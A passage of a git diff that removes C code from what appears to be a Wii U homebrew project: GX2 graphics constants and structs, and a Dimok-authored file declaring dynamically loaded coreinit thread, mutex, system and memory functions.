GX2_SPECIAL_STATE_EXPAND_DEPTH 4 -#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5 -#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6 -#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7 -#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 attribute formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000 -#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001 -#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002 -#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004 -#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B -#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E - -#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100 -#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102 -#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104 -#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105 -#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A -#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B -#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E -#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110 -#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112 - -#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200 -#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202 -#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204 -#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B -#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E - -#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300 -#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303 -#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304 -#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305 -#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A -#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B -#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E -#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310 -#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312 - -#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800 -#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802 -#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803 -#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804 -#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806 -#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807 -#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808 -#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809 -#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A -#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D -#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E -#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F -#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811 -#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813 - -#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00 -#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02 -#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04 -#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07 -#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A -#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SHADER_MODE_UNIFORM_REGISTER 0 -#define GX2_SHADER_MODE_UNIFORM_BLOCK 1 -#define GX2_SHADER_MODE_GEOMETRY_SHADER 2 -#define GX2_SHADER_MODE_COMPUTE_SHADER 3 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 shader modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_COMP_SEL_NONE 0x04040405 -#define GX2_COMP_SEL_X001 0x00040405 -#define GX2_COMP_SEL_XY01 0x00010405 -#define GX2_COMP_SEL_XYZ1 0x00010205 -#define GX2_COMP_SEL_XYZW 0x00010203 -#define GX2_COMP_SEL_XXXX 0x00000000 -#define GX2_COMP_SEL_YYYY 0x01010101 -#define GX2_COMP_SEL_ZZZZ 0x02020202 -#define GX2_COMP_SEL_WWWW 0x03030303 -#define GX2_COMP_SEL_WZYX 0x03020100 -#define GX2_COMP_SEL_WXYZ 0x03000102 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 variable types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_VAR_TYPE_VOID 0 -#define GX2_VAR_TYPE_BOOL 1 -#define GX2_VAR_TYPE_INT 2 -#define GX2_VAR_TYPE_UINT 3 -#define GX2_VAR_TYPE_FLOAT 4 -#define GX2_VAR_TYPE_DOUBLE 5 -#define GX2_VAR_TYPE_VEC2 9 -#define GX2_VAR_TYPE_VEC3 10 -#define GX2_VAR_TYPE_VEC4 11 -#define GX2_VAR_TYPE_MAT2 21 -#define GX2_VAR_TYPE_MAT3 25 -#define GX2_VAR_TYPE_MAT4 29 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 sample types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SAMPLER_TYPE_2D 1 - - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 index formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INDEX_FORMAT_U16 4 -#define GX2_INDEX_FORMAT_U32 9 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 primitive types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_PRIMITIVE_POINTS 0x01 -#define GX2_PRIMITIVE_LINES 0x02 -#define GX2_PRIMITIVE_LINE_STRIP 0x03 -#define GX2_PRIMITIVE_TRIANGLES 0x04 -#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05 -#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06 -#define GX2_PRIMITIVE_RECTS 0x11 -#define GX2_PRIMITIVE_QUADS 0x13 -#define GX2_PRIMITIVE_QUAD_STRIP 0x14 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 clear modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_CLEAR_DEPTH 0x01 -#define GX2_CLEAR_STENCIL 0x02 -#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface formats -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001 -#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002 -#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007 -#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008 -#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a -#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b -#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c -#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f -#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011 -#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011 -#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019 -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a -#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f -#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031 -#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032 -#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033 -#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034 -#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035 -#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081 - -#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101 -#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105 -#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107 -#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d -#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f -#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a -#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b -#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c -#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122 - -#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201 -#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207 -#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f -#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f -#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234 -#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235 - -#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301 -#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305 -#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307 -#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d -#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f -#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319 -#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a -#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322 - -#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a -#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431 -#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432 -#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433 - -#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806 -#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e -#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810 -#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811 -#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816 -#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c -#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c -#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e -#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820 -#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tile modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TILE_MODE_DEFAULT 0x00000000 -#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface use -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_USE_TEXTURE 0x00000001 -#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002 -#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004 -#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008 -#define GX2_SURFACE_USE_FTV 0x80000000 -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE) -#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV) -#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 surface dim -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SURFACE_DIM_1D 0x00000000 -#define GX2_SURFACE_DIM_2D 0x00000001 -#define GX2_SURFACE_DIM_3D 0x00000002 -#define GX2_SURFACE_DIM_CUBE 0x00000003 -#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004 -#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005 -#define GX2_SURFACE_DIM_2D_MSAA 0x00000006 -#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 AA modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_AA_MODE_1X 0x00000000 -#define GX2_AA_MODE_2X 0x00000001 -#define GX2_AA_MODE_4X 0x00000002 -#define GX2_AA_MODE_8X 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture clamp -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_CLAMP_WRAP 0x00000000 -#define GX2_TEX_CLAMP_MIRROR 0x00000001 -#define GX2_TEX_CLAMP_CLAMP 0x00000002 -#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003 -#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004 -#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005 -#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006 -#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 texture filter -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TEX_XY_FILTER_POINT 0x00000000 -#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV scan modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_SCAN_MODE_NONE 0x00000000 -#define GX2_TV_SCAN_MODE_576I 0x00000001 -#define GX2_TV_SCAN_MODE_480I 0x00000002 -#define GX2_TV_SCAN_MODE_480P 0x00000003 -#define GX2_TV_SCAN_MODE_720P 0x00000004 -#define GX2_TV_SCAN_MODE_1080I 0x00000006 -#define GX2_TV_SCAN_MODE_1080P 0x00000007 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 TV render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TV_RENDER_480_NARROW 0x00000001 -#define GX2_TV_RENDER_480_WIDE 0x00000002 -#define GX2_TV_RENDER_720 0x00000003 -#define GX2_TV_RENDER_1080 0x00000005 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 DRC render modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_DRC_NONE 0x00000000 -#define GX2_DRC_SINGLE 0x00000001 -#define GX2_DRC_DOUBLE 0x00000002 -#define GX2_DRC_SINGLE_30HZ 0x00000004 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 buffering mode -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_BUFFERING_SINGLE 0x00000001 -#define GX2_BUFFERING_DOUBLE 0x00000002 -#define GX2_BUFFERING_TRIPLE 0x00000003 -#define GX2_BUFFERING_QUAD -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 scan targets -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_SCAN_TARGET_TV 0x00000001 -#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004 -#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 invalidate types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001 -#define GX2_INVALIDATE_TEXTURE 0x00000002 -#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004 -#define GX2_INVALIDATE_SHADER 0x00000008 -#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010 -#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020 -#define GX2_INVALIDATE_CPU 0x00000040 -#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER) -#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE) -#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK) -#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER) - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 swap modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_ENDIANSWAP_DEFAULT 0x00000003 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 tessellation modes -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000 -#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001 -#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002 - -//!----------------------------------------------------------------------------------------------------------------------- -//! GX2 fetch shader types -//!----------------------------------------------------------------------------------------------------------------------- -#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000 -#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001 -#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002 -#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003 - - -typedef struct _GX2ContextState { - u8 data[GX2_CONTEXT_STATE_SIZE]; -} GX2ContextState; - -typedef struct _GX2Surface { - s32 dimension; - u32 width; - u32 height; - u32 depth; - u32 num_mips; - s32 format; - s32 aa; - s32 use; - u32 image_size; - void *image_data; - u32 mip_size; - void *mip_data; - s32 tile; - u32 swizzle; - u32 align; - u32 pitch; - u32 mip_offset[13]; -} GX2Surface; - -typedef struct _GX2ColorBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *aux_data; - u32 aux_size; - u32 regs[5]; -} GX2ColorBuffer; - -typedef struct _GX2DepthBuffer { - GX2Surface surface; - u32 view_mip; - u32 view_first_slice; - u32 view_slices_count; - void *hiZ_data; - u32 hiZ_size; - f32 clear_depth; - u32 clear_stencil; - u32 regs[7]; -} GX2DepthBuffer; - - -typedef struct _GX2Texture { - GX2Surface surface; - u32 view_first_mip; - u32 view_mips_count; - u32 view_first_slice; - u32 view_slices_count; - u32 component_selector; - u32 regs[5]; -} GX2Texture; - - -typedef struct _GX2Sampler { - u32 regs[3]; -} GX2Sampler; - -typedef struct _GX2AttribStream { - u32 location; - u32 buffer; - u32 offset; - s32 format; - s32 index_type; - u32 divisor; - u32 destination_selector; - s32 endian_swap; -} GX2AttribStream; - -typedef struct _GX2FetchShader { - s32 type; - u32 reg; - u32 shader_size; - void *shader_program; - u32 attributes_count; - u32 divisor[3]; -} GX2FetchShader; - -typedef struct _GX2AttribVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 location; -} GX2AttribVar; - - -typedef struct _GX2UniformBlock { - const char *name; - u32 location; - u32 block_size; -} GX2UniformBlock; - -typedef struct _GX2UniformInitialValue { - f32 value[4]; - u32 offset; -} GX2UniformInitialValue; - -typedef struct _GX2SamplerVar -{ - const char *name; - s32 sampler_type; - u32 location; -} GX2SamplerVar; - -typedef struct _GX2UniformVar -{ - const char *name; - s32 var_type; - u32 array_count; - u32 offset; - u32 block_index; -} GX2UniformVar; - -typedef struct _GX2VertexShader { - u32 regs[52]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 attribute_vars_count; - GX2AttribVar *attribute_var; - u32 data[6]; - u32 shader_program_buffer[16]; -} GX2VertexShader; - -typedef struct _GX2PixelShader { - u32 regs[41]; - u32 shader_size; - void *shader_data; - s32 shader_mode; - u32 uniform_blocks_count; - GX2UniformBlock *uniform_block; - u32 uniform_vars_count; - GX2UniformVar *uniform_var; - u32 initial_values_count; - GX2UniformInitialValue *initial_value; - u32 loops_count; - void *loops_data; - u32 sampler_vars_count; - GX2SamplerVar *sampler_var; - u32 shader_program_buffer[16]; -} GX2PixelShader; - -static const u32 attribute_dest_comp_selector[20] = { - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW -}; - -static const u32 texture_comp_selector[54] = { - GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, - GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, - GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, - GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, - GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 -}; - -typedef struct _GX2Color { - u8 r, g, b, a; -} GX2Color; - -typedef struct _GX2ColorF32 { - f32 r, g, b, a; -} GX2ColorF32; - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/src/dynamic_libs/os_functions.c b/src/dynamic_libs/os_functions.c deleted file mode 100644 index d1ff75b..0000000 --- a/src/dynamic_libs/os_functions.c +++ /dev/null @@ -1,148 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "common/common.h" -#include "os_functions.h" - -unsigned int coreinit_handle = 0; - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Lib handle functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); -EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Thread functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); -EXPORT_DECL(int, OSResumeThread, void *thread); -EXPORT_DECL(int, OSSuspendThread, void *thread); -EXPORT_DECL(int, OSIsThreadTerminated, void *thread); -EXPORT_DECL(int, OSIsThreadSuspended, void *thread); -EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority); -EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val); -EXPORT_DECL(void, OSDetachThread, void * thread); -EXPORT_DECL(void, OSSleepTicks, u64 ticks); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Mutex functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(void, OSInitMutex, void* mutex); -EXPORT_DECL(void, OSLockMutex, void* mutex); -EXPORT_DECL(void, OSUnlockMutex, void* mutex); -EXPORT_DECL(int, OSTryLockMutex, void* mutex); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! System functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_DECL(u64, OSGetTitleID, void); -EXPORT_DECL(void, __Exit, void); -EXPORT_DECL(void, OSFatal, const char* msg); -EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback); -EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); -EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); -EXPORT_DECL(void*, OSEffectiveToPhysical, const void*); -EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); - -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -//! Memory functions -//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx); -EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap); -EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap); - -EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena); -EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align); -EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode); -EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align); -EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags); -EXPORT_DECL(void *, MEMDestroyExpHeap, int heap); -EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr); - 